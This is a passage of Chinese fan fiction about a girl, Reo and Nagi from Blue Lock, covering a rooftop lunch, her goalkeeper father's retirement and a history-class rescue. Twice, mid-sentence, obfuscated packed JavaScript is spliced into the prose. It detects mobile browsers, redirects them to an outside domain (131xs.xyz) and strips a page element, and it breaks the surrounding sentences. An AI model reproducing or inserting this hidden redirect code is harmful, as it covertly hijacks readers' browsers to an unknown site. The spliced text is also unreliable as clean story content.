他背影一僵,猛地转过身来。脸上那抹不自然的红晕还没完全褪去,紫罗兰色的眼睛瞪着我,带着点羞恼:“谁、谁心虚了!是那个凪太离谱了!什么交往……豪门联姻……他脑子里装的都是什么乱七八糟的电视剧!” 他语速飞快,像是在极力撇清什么。 “是吗?”我故意拖长了语调,走到他平时喜欢靠着看风景的围栏边,“可我看你的反应,好像不只是觉得‘离谱’那么简单哦?” “我那是……那是觉得他太失礼了!怎么能当着老师的面乱说!”玲王急忙辩解,跟着走过来,却下意识地和我保持了一点距离,“而且,这对你的名声也不好!什么骑士姬……现在又来个交往传言……真是够了!” 他烦躁地抓了抓自己那头漂亮的紫色短发,试图把话题拉回到“正轨”,掩饰刚才那过于剧烈的反应。 看着他这副欲盖弥彰、气急败坏的样子,我心底那点恶趣味莫名地冒了出来。平时总是游刃有余、掌控全局的“王子殿下”,居然也有这么狼狈的时候。我故意学着他之前促狭我的语气:“哦?是吗?可是我觉得‘骑士姬’还挺酷的,玲王大人不是也这么觉得吗?” 玲王被我噎了一下,脸似乎又红了一点,没好气地瞪了我一眼:“……那是开玩笑!谁知道他们能编出那么离谱的东西!” 他顿了顿,像是想起了什么,表情忽然认真了一点,带着探究,“不过……那个后援团调查出来的东西,有些……连我都不知道。比如你体育拿金奖什么的,我知道,但‘对玲王和学习 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251802|182000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以外漠不关心’?还有‘父母不明,十分神秘’?他们到底怎么查的?” 他紫色的眼睛里闪烁着好奇和一丝不易察觉的……在意?似乎对别人掌握了关于我的、连他这个“幼驯染”都不知道的“情报”感到些许介怀。 我耸耸肩,表示对这些流言蜚语毫无兴趣:“谁知道呢。大概有钱有闲吧。反正都是些捕风捉影的东西,不用在意。” 我转移话题,拍了拍旁边的水泥围栏,“不是说吃午饭吗?我饿了。” 刚才那一连串的闹剧,确实消耗了不少体力。 玲王似乎还想追问什么,但听到我说饿,还是把话咽了回去。他走到旁边,拿起放在地上的、印着低调奢华logo的巨大便当盒。这是他家厨师准备的,通常都丰盛得不像话。 我们像往常一样,并肩坐在围栏边的阴影里,背靠着微温的水泥墙。玲王打开便当盒,里面果然一如既往地精致:色彩搭配完美的寿司卷、炸得金黄酥脆的天妇罗、烤得恰到好处的鱼、新鲜翠绿的蔬菜沙拉,还有一小格玲王知道我喜欢的玉子烧。他甚至带了两个保温杯,里面是温热的抹茶。 食物的香气暂时驱散了刚才的尴尬。玲王递给我一双筷子,自己也拿起一双。他似乎终于冷静了一些,脸上的红晕褪去,又恢复了那种优雅从容的姿态,只是偶尔瞥向我的眼神,还残留着一丝不易察觉的闪烁。 “说起来,”玲王夹起一块玉子烧,状似不经意地开口,声音已经恢复了平时的温和,“你昨天……真的坐他的自行车后座了?” 他还是没忍住,绕回了那个让他耿耿于怀的话题。 “嗯。”我咬了一口天妇罗虾,酥脆的外壳在齿间发出轻响,“坐了几分钟吧。” 其实从学校到我家那个路口,骑车也就十分钟左右,但后半段凪骑得慢吞吞,感觉时间被拉长了。 “……感觉怎么样?”玲王的声音听起来有点闷闷的。 “还行吧。”我实话实说,“就是有点硌,而且,”我想起凪那副随时要断气的样子,补充道,“总担心他会突然没力气,连人带车栽进路边的花坛里。” 毕竟那家伙的“节能”程度是肉眼可见的。 玲王被我的描述逗得“噗嗤”一声笑了出来,刚才那点闷气似乎消散了不少。他紫罗兰色的眼睛弯了起来,带着点促狭:“那下次还想坐吗?” “不了不了。”我立刻摇头,“一次体验就够了。” 体验价十五万円,太贵了。而且,玲王在旁边散发的那种“我家的车更舒服更安全”的无声控诉,简直快具象化了。 这个话题似乎终于可以告一段落。我们安静地吃着便当,享受着午后的宁静。天台的视野很好,能看到远处操场上奔跑的学生,还有更远处东京林立的高楼。 玲王吃了几口,忽然又放下筷子,转头看我,表情带着点认真:“爱,那个钱……” “嗯?” “你……以后别那样了。”他的声音很轻,但很清晰,“不是钱的问题。我知道对你家来说不算什么。但是……”他斟酌着词句,眼神里带着纯粹的担忧,“那样做,很容易引起不必要的麻烦,就像今天这样。而且,让别人载你,尤其是不太熟悉的人,我……”他顿了顿,似乎在寻找合适的词,“……我会担心。” 最后四个字,他说得很轻,像羽毛拂过,却带着沉甸甸的分量。阳光落在他紫色的发梢,给他认真的侧脸镀上了一层柔光。 我看着他眼中的关切,心里某个角落微微动了一下。刚才在走廊里,他那瞬间爆发的羞窘和此刻纯粹的担忧交织在一起,形成一种奇异的、让人心头发软的感觉。我点了点头:“知道了。下次不会了。” 这算是给他的保证。 玲王似乎松了口气,脸上重新绽开笑容,带着点如释重负的轻松。他又恢复了那种有点小得意的状态,用筷子点了点便当盒里他最爱吃的炸虾:“那就好。来,尝尝这个,今天炸得特别酥脆!” 午餐的后半段,气氛轻松愉快了许多。玲王兴致勃勃地跟我讲起足球部新招的几个“问题儿童”球员,抱怨他们如何不听话,但眼神里却闪着发现璞玉般的兴奋光芒。我安静地听着,偶尔吐槽他几句“控制狂部长”。 便当吃得差不多时,玲王变戏法似的从便当盒最底层拿出一个精致的小盒子,打开,里面是几颗沾着糖霜、红得诱人的草莓大福。 “喏,奖励你上午模拟考又拿了年级前十。”他笑着递给我一个。 我接过来,咬了一口。软糯的麻薯皮包裹着细腻的红豆沙,中心是整颗饱满多汁的草莓,酸甜的果香瞬间在口中弥漫开,完美地中和了豆沙的甜腻。很好吃,是玲王家那个擅长和果子的厨师一贯的高水准。 “唔,好吃。”我满足地眯了眯眼。 “对吧?”玲王自己也拿起一个,得意地晃了晃,“我跟厨师说了,豆沙要减糖,草莓要挑最甜的。就知道你会喜欢。” 他咬了一口自己的,紫眼睛里满是愉悦。 阳光暖融融地晒着,草莓大福的甜意在舌尖化开,身边是喋喋不休分享着足球部趣事的幼驯染。刚才的乌龙、尴尬和流言蜚语,仿佛都被这宁静美好的午后暂时驱散了。 我安静地吃着甜点,听着玲王的声音,目光落在远处湛蓝的天空。偶尔,玲王说到兴奋处,会手舞足蹈,紫色的发丝在阳光下跳跃。看着他毫无阴霾的笑容,我忽然想起那个离谱传言里的一句——“据说见到她笑容的人会得到好运”。 真是无稽之谈。我微微垂下眼睑,看着手中还剩一半的草莓大福。我并不是不会笑,只是觉得大多数时候没什么值得特别展露笑容的事情罢了。像现在这样,安静地吃着喜欢的甜点,听着熟悉的人说话,心里感到一种平和的舒适,这就够了。至于那种能让人“得到好运”的、灿烂夺目的笑容?也许只存在于那些编织流言的人的想象里。 玲王的声音忽然停了下来。 我有些疑惑地抬眼看他。 只见他正定定地看着我,紫罗兰色的眼眸在阳光下显得格外深邃,里面清晰地映着我的影子。他脸上的笑容收敛了一些,不再是刚才那种张扬的得意,而是一种更沉静、更专注的神情,带着一丝不易察觉的探究和……温柔? 他的视线似乎落在我的嘴角?我下意识地抿了抿唇。 玲王像是猛然回神,迅速移开了目光,掩饰性地咳嗽了一声,耳根似乎又有点泛红。他拿起保温杯喝了一口抹茶,才重新看向我,语气带着一种刻意放轻的、近乎呢喃的认真: “……其实,刚才那样就很好。” “嗯?”我没听清,或者说没理解他的意思。 玲王顿了一下,紫色的眼眸重新对上我的视线,这次没有躲闪,里面流淌着一种坦率而温暖的光芒,像春日午后融化冰雪的溪流。 “我说,”他微微弯起嘴角,声音清晰而柔和,带着一种奇异的安抚力量,穿透了天台的微风,“不用在意那些传言。无论是‘骑士姬’,还是什么‘不会笑’的巫女诅咒。” 他的目光落在我脸上,带着一种专注的、仿佛在欣赏某种珍贵之物的神情。 “刚才你吃着草莓大福,眼睛微微眯起来的样子……”他停顿了一下,似乎在寻找最贴切的形容,最终只是轻轻地、带着点满足地笑了笑。 “——那个表情,比任何传言里的‘好运笑容’都要好。” 他微微倾身靠近了一点,午后的阳光在他紫色的发丝上跳跃,在他清澈的眼眸中折射出细碎的光点。他的声音很轻,却带着一种不容置疑的笃定,清晰地传入我的耳中: “而且,这样的表情……” “……我只想一个人看到。” 3. 父:我退役啦! 御影玲王的话一定是认真的。 像是青春少男告白一样,他的耳尖又红了些许。 “那可不行啊,”我笑了,“玲王,你难道要独自承包我一辈子的幸福笑容吗?真是自私呢,我的父母会伤心的。” 我刻意用轻松调侃的语气,像拂去一粒落在肩头的樱花般,将那瞬间弥漫开来的、带着甜腻草莓香气的暧昧感吹散。玲王被我堵得一愣,随即也笑了起来,那点羞赧迅速被熟悉的、带着点小得意的神情取代,紫眼睛里亮晶晶的,仿佛刚才那句带着独占意味的话只是随口开的一个无伤大雅的玩笑。 “那……至少承包到毕业?”他歪着头,故作思考状,然后自己先绷不住笑了,“开玩笑的!快吃吧,草莓大福要化了。” 我们默契地将那小小的插曲搁置,像往常一样解决掉了剩下的午餐。玲王收拾着便当盒,我则拿出手机,随意地刷着。就在这时,屏幕顶端跳出一条新信息提示,发件人是“智辉舅舅”。 我点开,是一条转发的体育新闻链接。标题用加粗的黑体字赫然写着: 【当今公认的世界第一门将将在赛季结束后退出绿茵场!传奇落幕!】 我的呼吸猛地一窒,心脏像是被一只无形的手狠狠攥住,又骤然松开,带来一阵失重的眩晕感。手指悬在屏幕上方,几乎要点不下去。世界第一门将……赛季结束……退役?! 那个名字几乎呼之欲出,那个在绿茵场上如同叹息之墙般屹立了十数载的名字。虽然理智在下一秒就迅速回笼——是啊,我已经十六岁了,他三十六岁了,对于一个顶级门将来说,这个年纪退役,甚至可以说是功成身退,并不算特别意外。但“知道”和“亲眼看到官方宣布”完全是两回事。这感觉太突然了,像是一直以为坚不可摧的堡垒,突然宣告了它的谢幕日期。 “怎么了,爱?”玲王的声音在旁边响起,带着关切。他显然注意到了我瞬间的僵硬和脸上来不及掩饰的复杂表情。他收拾便当的动作停了下来,目光落在我亮着的手机屏幕上。 好奇心驱使他自然地凑近了些,当他的视线捕捉到那个爆炸性的标题时,那双漂亮的紫眼睛瞬间瞪大了。 “哇哦!”他发出一声短促的惊叹,带着纯粹的、属于足球爱好者的惋惜和震撼,“世界第一门将……要退役了?!天哪!赛季结束……那不是没剩多少场比赛了?又一个传奇要离开了……” 他的语气充满了对顶尖球员的敬仰和不舍,手指无意识地敲击着便当盒的边缘,陷入了短暂的足球迷感慨模式,“真是足坛的巨大损失啊……” 玲王显然还没将这个新闻标题里那位即将谢幕的传奇,与坐在他身边、姓氏是清田的我联系起来。他只知道我有个“很厉害”的足球运动员父亲,但具体是谁,厉害到什么程度,他从未深究,也从未在现实中见过。在他心里,我那位神秘的父亲,大概是一位优秀的日本球员吧?毕竟我的外貌和姓氏都指向了这一点。 就在玲王还沉浸在对那位传奇门将退役的感叹中,我握在掌心的手机突然震动起来,屏幕上跳跃的名字让我的心跳再次漏了一拍——是父亲。那个刚刚才被新闻宣布即将退役的父亲。 我深吸一口气,按下了接听键。几乎是同时,玲王非常自觉地、甚至带着点训练有素的敏捷,立刻站起身,拿着便当盒快步走到了天台另一端的围栏边,背对着我,目光投向远方,留给我一个表示“绝不偷听”的挺拔背影。午后的风吹拂着他紫色的发梢,显得格外体贴。 我按下免提键。父亲那标志性的、带着西班牙语口音的洪亮日语,立刻穿透了天台的空气,充满了活力,丝毫听不出一个刚刚宣布退役的球员该有的怅惘: “?Hola, mi peque?a amore!(嘿,我的小宝贝!)” 那爽朗的笑声震得我耳膜嗡嗡响,“看到新闻了吧?你老爹我终于要解放啦!” “嗯……看到了。”我应道,声音还有点发干,“太突然了,吓我一跳。” “哈哈!Surprise!(惊喜!)”他听起来得意极了,“憋了好久了!终于可以说了!赛季一结束,我马上飞到东京!行李都不用收拾,直接搬过来跟你一起住!以后天天都能见到我的小爱了!” 他的声音里充满了毫不掩饰的期待和喜悦,仿佛退役不是结束,而是一场盛大旅行的开始。 “搬……搬过来?”这消息比退役本身更让我措手不及。虽然知道他有这个打算,但没想到如此雷厉风行,“那妈妈呢?” “你妈妈?她好着呢!现在在意大利跟几个老朋友玩得不亦乐乎,说是在享受退役生活最后的自由时光。”父亲的声音带着笑意,“她说等我这边安顿好,过几天就回来。放心,不会让你当太久‘留守儿童’的!对了!”他话锋一转,语气变得促狭起来,“我可是听智辉说了哦,你在学校有个关系很好的朋友?叫御影……玲王?对吧?那个御影集团的小子?” 果然!我就知道舅舅这个大嘴巴藏不住事!我下意识地瞥了一眼远处玲王的背影。他依旧背对着我,站姿挺拔,但耳朵似乎微妙地动了一下?是我的错觉吗? “嗯……是。”我含糊地应了一声。 “很好!非常好!”父亲的声音听起来更高兴了,“等我到了,一定要把他请到家里来!我得好好看看,是什么样的臭小子能跟我家小爱玩得这么好!智辉那家伙把他夸得天花乱坠,我可要亲自把关!” 他豪迈地笑着,“就这么说定了!等我到了就安排!我得去训练了,赛季末最后几场,必须完美收官!?Te quiero mucho!(爱你!)” 电话干脆利落地挂断了,留下我在天台上,耳边仿佛还回荡着父亲那极具穿透力的笑声和那句“请到家里来”。我看着手机屏幕暗下去,又抬眼看向那个紫色的背影。 玲王似乎感应到了电话的结束,缓缓转过身。午后的阳光勾勒出他清晰的轮廓,那张总是带着从容或自信的俊脸上,此刻的表情……精彩得难以形容。 他走回来的脚步很慢,眼神亮得惊人,像两颗燃烧的紫水晶,里面混杂着难以置信的狂喜、巨大的期待,还有一丝被这突如其来的“召见”砸晕了的茫然。他的脸颊飞上了两团明显的红晕,一直蔓延到耳朵尖,甚至脖颈都染上了一层粉色。 “……爱?”他的声音有点发飘,带着小心翼翼的试探和压抑不住的激动,“刚才……电话里……你父亲……他说……要见我?” 他似乎想确认自己是不是幻听了,每个词都说得无比清晰又带着颤音。 我看着他这副完全没了“白宝王子”风范,像个得知要去迪士尼乐园的小男孩般的激动模样,心里那点被父亲突然袭击的无奈瞬间消散了大半,取而代之的是一种想笑的冲动和……一丝微妙的成就感? “嗯。”我点点头,故意用平淡的语气,“他说赛季结束就过来,然后想见见你。” 我顿了顿,补充道,“我舅舅大概把你夸得太狠了,他好奇心爆棚。” 玲王像是没听见后半句,他猛地吸了一口气,双手“啪”地一下捂住了自己发烫的脸颊,指缝间露出的眼睛亮得吓人,嘴里开始不受控制地、飞快地碎碎念起来: “天呐……是真的……要去爱家里……要见到她父亲了……一位顶级球员……我该穿什么?带什么礼物?要准备什么问题?不能太失礼……也不能太拘谨……啊……怎么办……” 他捂着脸,在原地小幅度地转了个圈,完全沉浸在自己的世界里,那样子与其说是紧张,不如说是高兴得快疯了。谁能想到,平日里在足球部挥斥方遒、面对全校女生爱慕都游刃有余的御影玲王,会因为要去一个同学家做客而激动得手足无措? 看着他这副模样,一个极其荒谬的念头突然毫无预兆地撞进我的脑海——那个关于我的离谱传言,“据说见到她笑容的人会得到好运”。 父亲宣布退役的新闻刚弹出,他的电话就立刻打来,紧接着就宣布要来日本,还要见玲王……玲王此刻激动得快要上天的样子,可不就是撞了大运吗?这接踵而至的“好运”,巧合得让我自己都忍不住要怀疑,那个传言……该不会是真的吧?一丝凉意顺着脊背爬上来,随即又被自己这荒唐的想法逗笑了。怎么可能。 “喂,玲王,”我打断他沉浸式的激动彩排,“所以,去不去?” 捂着脸的玲王瞬间放下手,站得笔直,紫眼睛瞪得溜圆,斩钉截铁地回答,声音因为激动而异常响亮: “去!当然去!必须去!什么时候?我随时有空!” 那架势,仿佛天塌下来他也要顶着天去我家。 看着他亮晶晶、写满“快告诉我时间地点”的眼睛,我忍不住弯起了嘴角。 “具体时间,等他到了再说吧。” 接下来的日子,玲王肉眼可见地处于一种亢奋又焦虑的混合状态。足球部的训练依旧一丝不苟,甚至更加严苛,他说这是要在“未来可能的岳父大人面前展现最好的竞技状态”。课间他不再热衷于应付那些“偶遇”的女生,反而经常拿着手机,一脸严肃地查着什么,走近一看,屏幕上是“第一次去朋友家拜访礼仪大全”或者“给长辈的得体伴手礼推荐”。他甚至破天荒地拉着我去逛了几次高级百货,美其名曰“参考意见”,对着琳琅满目的点心、茶叶、酒水纠结得眉头能夹死苍蝇。 “爱,你说伯父会喜欢西班牙的雪莉酒,还是日本的顶级清酒?或者……顶级和牛?”他拎着一盒包装极其精美的神户牛肉,表情认真得像在做学术研究。 “他大概更喜欢你少想点这些,自然点。”我无情地戳破他的紧张泡泡。 终于,父亲抵达东京的日子到了。他没有选择住酒店,而是直接住进了我和母亲在东京的住所——一栋位于高级住宅区、外观看起来并不张扬但内部空间和安保都一流的独栋别墅。用他的话说:“回家了还住什么酒店!” 约定的周末下午,门铃准时响起。我起身去开门,玲王站在门外。 他显然精心打扮过,没有穿白宝的制服,而是一身剪裁合体的深色休闲西装,衬得他身姿越发挺拔。紫色的头发打理得一丝不苟,脸上带着无可挑剔的、混合着紧张和期待的礼貌笑容。他手里提着一个看起来就价值不菲的、印着老牌和果子店标志的礼盒,以及一瓶包装典雅的葡萄酒。 “打扰了。”他的声音刻意放得平稳,但微微绷紧的下颌线还是泄露了他的紧张。 “进来吧。”我侧身让他进来,顺手接过他递来的礼物,“不用这么紧张,他又不会吃人。” 玲王深吸一口气,跟着我走进玄关,换上我递给他的拖鞋。他的目光带着掩饰不住的好奇,迅速又不失礼貌地扫视着室内。正如我所说,家里的装修风格偏向现代简约,色调以米白、浅灰和原木色为主,没有过于奢华的堆砌,但家具的质感、墙上的装饰画、角落里摆放的艺术品,都透露出一种低调的精致和不俗的品味。阳光透过巨大的落地窗洒进来,温暖明亮。一位穿着整洁制服的中年女佣正在客厅一角安静地擦拭着装饰柜。 这位是佐藤太太,我家司机的妻子。 “爱,是玲王君来了吗?”一个洪亮、带着明显异国口音的声音从厨房方向传来,伴随着锅铲碰撞的轻响和诱人的食物香气。 玲王立刻循声望去,身体下意识地站得更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251803|182000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直了。 只见一个高大的身影围着一条格格不入的卡通围裙,一手拿着锅铲,从厨房门口探出了半个身子。金色的短发在厨房的光线下像融化的阳光,深邃立体的五官带着典型欧洲人的特征,尤其那双湛蓝如爱琴海的眼睛,此刻正盈满了笑意和好奇,精准地落在了御影玲王的身上。 时间仿佛在这一刻凝固了。 玲王脸上那完美的、带着紧张和期待的礼貌笑容瞬间僵住。他漂亮的紫眼睛猛地睁大到了极限,瞳孔剧烈地收缩着,仿佛看到了什么完全超出认知范围、颠覆世界规则的景象。他手中原本稳稳提着的另一个小礼盒,“啪嗒”一声,掉在了光洁的木地板上。 那张脸……那张无数次出现在世界顶级足球赛事转播镜头里、出现在体育新闻头条、出现在足球杂志封面、被无数球迷奉为“叹息之墙”、“门线上帝”的脸!那张属于当今足坛、不,就在几天前还是足坛公认的世界第一门将的脸!此刻,正围着一个滑稽的卡通围裙,出现在清田爱家的厨房门口! 玲王的大脑彻底宕机了。他像个被拔掉电源的精致玩偶,呆呆地站在原地,嘴巴微微张开,却发不出任何声音。之前所有的心理建设、所有的紧张、所有的猜测——关于清田爱的父亲是某位优秀的日本球员——在这一刻被轰得粉碎,连渣都不剩。世界第一门将……是清田爱的父亲?!那清田爱…… 父亲似乎对玲王这震惊到石化的反应毫不意外,甚至觉得很有趣。他咧开一个极其灿烂的笑容,露出一口白牙,用带着西班牙腔调的日语热情地招呼道: “Hola! ?Bienvenido!(嘿!欢迎!)你就是玲王吧?快进来快进来!别傻站着!我是爱的爸爸!” 他挥了挥锅铲,动作豪迈得像个海盗船长,“饭马上就做好了!随便坐,就当自己家!” 我弯腰捡起玲王掉在地上的礼盒,轻轻碰了碰他僵硬的手臂:“回神了,玲王大人。介绍一下,这是我父亲。” 看着他依旧一片空白的表情,我忍着笑补充道,“嗯,如你所见,我是西班牙、德国和日本的混血。只是长得比较像妈妈那边的亚洲人而已。” “三……三国混血……”玲王终于找回了自己的声音,干涩得像是砂纸摩擦,带着难以置信的颤抖。他看看我那张毫无欧洲特征的脸,又看看厨房门口那位金发蓝眼、极具冲击力的传奇门将,巨大的信息差让他整个人都混乱了。世界第一门将……是爱的父亲……爱的父亲是世界第一门将……这个认知像风暴一样在他脑海里疯狂旋转。 父亲看着玲王这副“CPU过载”的样子,哈哈大笑起来,声音洪亮得仿佛能震落吊灯上的灰尘:“哈哈哈!这小子真有意思!看来是被我的帅气惊到了?” 他完全无视了玲王的震惊,自顾自地继续道,“玲王君,别客气,快坐!佐藤太太,麻烦给客人倒杯茶。爱,帮我看着点烤箱里的东西,我去把最后一道菜搞定!” 他风风火火地转身又钻回了厨房,留下依旧处于石化状态的玲王和我,以及空气中弥漫的浓郁菜香。 玲王像是被无形的线牵引着,动作有些僵硬地走到客厅沙发边坐下。佐藤太太很快端来了热茶,他机械地道谢,捧着茶杯,眼神依旧有些发直,目光时不时不受控制地飘向厨房的方向,仿佛在确认刚才看到的是不是幻觉。 我坐在他对面,看着他这副样子,觉得又好笑又有点……可爱? “缓过来了?”我问道。 玲王猛地喝了一大口热茶,似乎想让自己冷静下来,结果被烫得轻轻吸了口气。他放下茶杯,深吸一口气,努力组织着语言,脸上依旧残留着震撼的红晕: “爱……你……你父亲……他……他真的是……那位‘世界第一门将’?那位刚刚退役的传奇?” 他还是忍不住再次确认,声音压得低低的,带着敬畏。 “如假包换。”我点点头,“现在信了?他就在里面煎牛排呢。” 厨房里适时传来“滋啦”一声油响,伴随着父亲哼唱的不成调的西班牙小曲。 玲王的表情瞬间变得无比精彩,混合着强烈的激动、以及一丝后知后觉对于自己刚刚失态表现的惶恐。他双手紧紧交握在一起,指节都有些发白:“天呐……这简直……太不可思议了!我……我是在做梦吗?” 他下意识地掐了一下自己的大腿,疼得微微蹙眉,随即又傻笑起来,“是真的……不是梦……” 看着他那副又疼又笑的样子,我实在没忍住,噗嗤一声笑了出来。清脆的笑声在客厅里响起。 就在这时,父亲端着一盘香气四溢的烤肋排从厨房出来,恰好看到玲王掐自己大腿和我笑出声的这一幕。他那双湛蓝的眼睛在我们俩身上来回扫了一圈,最后落在我带着笑意的脸上,浓密的眉毛高高挑起,脸上露出一个极其促狭、了然的笑容,用他那洪亮的嗓门调侃道: “嘿!看来传言是真的啊,小爱?见到你笑容的人,真的会走大运?瞧瞧我们玲王君这表情,肯定是觉得自己撞上这辈子最大的好运了,对吧?” 他把烤肋排放在餐桌上,对着依旧沉浸在巨大冲击和喜悦中的玲王挤了挤眼睛,“小伙子,别紧张!待会儿多吃点,顺便跟我好好聊聊足球!我对你们白宝高中足球部,可是很有兴趣哦!” 你知道的太多了吧!!! 我想都不想,都知道是舅舅说的。说不定还是玲王先跟舅舅说的! 父亲的话像一道惊雷,再次劈中了刚刚缓过神来的玲王。他猛地看向我,紫罗兰色的眼眸里瞬间爆发出比刚才认出我父亲时更加璀璨、更加不可思议的光芒——关于那个“幸运笑容”的离谱传言,竟然以这样一种荒诞又无比真实的方式,在此刻应验了! 4. 玲王抓兔凪 从我家回来以后,玲王看上去更加容光焕发了不少。 这是一节选修课,玲王和我坐在一起。 御影玲王似乎还在回味昨天,脸上什么都藏不住。他单手撑着下巴,指尖无意识地敲着桌面,紫罗兰色的眼睛望着外的樱花树,焦距却明显落在更遥远的地方——大概是昨天我家客厅里,那位穿着卡通围裙、挥舞着锅铲,一边大谈顶级门线预判一边豪迈地往他盘子里堆烤肋排的传奇身影。他的嘴角从进教室起就没放下来过,像被无形的丝线向上提着,时不时还发出一点气音,像是强行压抑着得意又满足的轻笑。 我忍不住凑近打趣道:“你看上去要飘起来了,玲王大人。” 声音压得很低,带着促狭的笑意。 “哪有。”御影玲王下意识地反驳,但那压不下去的嘴角和瞬间亮了几分的眼眸彻底出卖了他。他甚至没看我,只是条件反射般地否认,整个人依旧沉浸在某种巨大的、晕陶陶的幸福余韵里。 “清田爱同学。” 讲台上,世界史老师那平缓无波的声音毫无预兆地点到了我的名字。 我心脏猛地一跳,瞬间从调侃玲王的状态中抽离,茫然地抬起头。刚才……老师问了什么?我的全部注意力都在身边这个飘忽的“万人迷”身上,根本没留意课堂内容。 “请回答一下,关于‘三十年战争’后确立欧洲新秩序的《威斯特伐利亚和约》,其主要原则和历史意义。” 老师推了推眼镜,镜片后的目光平静地落在我身上。 完了。脑子里一片空白。什么战争?什么和约?我只记得昨天父亲把玲王夸得天花乱坠,还说什么“小爱眼光不错”之类让人脚趾抠地的话。我下意识地看向玲王,寻求一点提示——作为年级顶尖的优等生,他总能应付这种局面。 然而,我看到的是一张比我更茫然、更无措的脸。玲王那双漂亮的紫眼睛此刻也写满了“我是谁我在哪刚才发生了什么”,显然,他刚才的思维遨游在足球战术、传奇门将的教诲以及……某些不可言说的余韵里,比我还彻底地遗忘了课堂的存在。他接收到我求助的目光,嘴唇微动,似乎想说什么,但眼神里全是“抱歉我也没听”的慌乱和爱莫能助。 一股热气“腾”地冲上我的脸颊,尴尬和无措让我僵在原地。教室里几十道目光聚焦过来,带着好奇和微妙的审视。就在我硬着头皮,准备承认自己没听讲,接受可能到来的批评时—— 我的视线余光,捕捉到了斜前方靠窗位置那个巨大的、几乎与课桌融为一体的白色毛茸茸脑袋。 凪诚士郎。 他依旧保持着标志性的趴姿,脸埋在臂弯里,只露出一小片额头和乱糟糟的白发。但此刻,他那双总是被长睫毛覆盖的、慵懒的黑色眼睛,正睁着一条缝,安静地看向我这边。 他似乎一直保持着半睡半醒的状态,或者老师的提问刚好惊醒了他?那眼神里没有惯常的“好麻烦”,反而带着一种奇异的、近乎透明的清醒。他歪了歪头,目光与我慌乱的眼神对上。然后,在我几乎要绝望的瞬间,我看到他那张没什么血色的嘴唇,无声地、清晰地动了几下。 没有声音,但口型异常明确。 主——权——国——家—— 他停顿了微不可查的一瞬,似乎在确认我看到了。 平——等—— 接着是, 领——土——完——整—— 宗——教——宽——容—— 他念得很慢,口型标准得如同教科书上的发音示范,每一个音节都清晰地传递过来。那双黑色的眼睛平静无波,仿佛只是在完成一件极其简单又理所当然的事情。 心脏在胸腔里剧烈地撞击着,巨大的庆幸和一丝荒谬感同时涌上心头。我不敢置信,却又像抓住了救命稻草。我努力回忆着凪刚才的口型,用尽可能平稳的声音复述出来: “《威斯特伐利亚和约》的主要原则是……确立了主权国家平等的国际关系准则,承认了各国领土的完整和独立,并且……在宗教问题上,确立了教随国定和新旧教并存的原则,结束了以宗教为借口的大规模战争。” 我一边说,一边在脑海里疯狂搜索着与之相关的历史意义,“它的历史意义……在于奠定了近代国际法的基础,标志着欧洲民族国家体系的形成,结束了哈布斯堡王朝的霸权……为后来的国际秩序提供了框架。” 后面的补充是我根据凪提示的核心原则,加上自己零星的记忆拼凑起来的。 讲台上沉默了几秒。老师镜片后的目光在我脸上停留了一会儿,又似乎不经意地扫过依旧趴着的凪诚士郎,最后点了点头:“回答基本正确,但仍有不足,请坐。下次注意听讲。” 我几乎是虚脱般地坐回椅子上,后背沁出了一层薄汗。旁边的玲王也同步地、长长地、无声地吁出了一口气,紧绷的肩膀瞬间垮了下来。我们俩对视一眼,都从对方眼中看到了劫后余生的庆幸和……对刚才那番惊险的心有余悸。 剩下的半节课,我和玲王都前所未有地专注。他不再神游天外,紫罗兰色的眼睛紧紧盯着黑板,笔记记得飞快。我也收敛了所有心思,努力将老师的每一个字都刻进脑子里。凪诚士郎无声的援助像一盆冷水,浇醒了我们两个被“私事”冲昏头脑的人。课堂的威严和知识的重量,在这一刻重新变得无比清晰。 午休铃声响起,同学们纷纷起身。玲王合上笔记本,动作利落地收拾好东西,习惯性地转向我,脸上又恢复了那种熟悉的、带着点小期待的明亮笑容:“爱,今天去天台还是……” “不了,”我打断他,把摊开的课本和笔记重新整理好,“我就在教室复习一下上午的内容。感觉……有点落下了。” 我刻意避开了他瞬间流露出的一点失落眼神。 刚才那场“课堂惊魂”让我心有余悸,也让我意识到,私事不该成为扰乱正常学习节奏的理由。我需要一点独处的时间,把漂浮的心思沉淀下来。 玲王愣了一下,紫眸里飞快地闪过一丝复杂的情绪——有理解,有被拒绝的微小失落,但更多的是认同。他点了点头,笑容依旧温和,只是少了几分之前的轻快:“也好。那……下午见?” 他拿起自己的便当袋,转身融入了涌向门口的人流。那挺拔的紫色背影,在喧闹的走廊里依旧醒目,却带着一丝刻意收敛的、不再那么“飘”的沉稳。 教室里很快安静下来。我坐在靠窗的位置,翻开世界史课本,午后的阳光透过玻璃窗,在书页上投下温暖的光斑。我强迫自己集中精神,将思绪沉入那些遥远的历史事件和条约之中。凪诚士郎那无声的口型,像烙印一样刻在记忆里,提醒着我专注和冷静的重要性。原来那个“万年寝太郎”,并非对一切都漠不关心。他只是在用一种极其节能的方式,观察着这个他懒得过多参与的世界。 下午的课程按部就班地过去。放学铃声响起,我收拾好书包,像往常一样走向位于校园角落的足球部活动楼。远远地,就能听到里面传来的喧闹声和球鞋摩擦地板的声响。 